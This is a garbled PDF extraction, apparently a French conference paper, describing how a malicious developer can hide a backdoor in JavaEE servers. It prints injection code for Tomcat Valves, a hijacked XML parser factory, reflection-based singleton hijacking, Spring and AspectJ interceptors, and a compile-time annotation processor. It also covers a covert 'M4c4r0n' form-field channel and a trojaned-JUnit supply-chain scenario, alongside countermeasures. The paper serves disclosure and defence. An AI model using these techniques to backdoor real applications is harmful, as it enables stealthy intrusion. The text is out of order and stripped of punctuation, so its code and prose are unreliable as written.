
access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

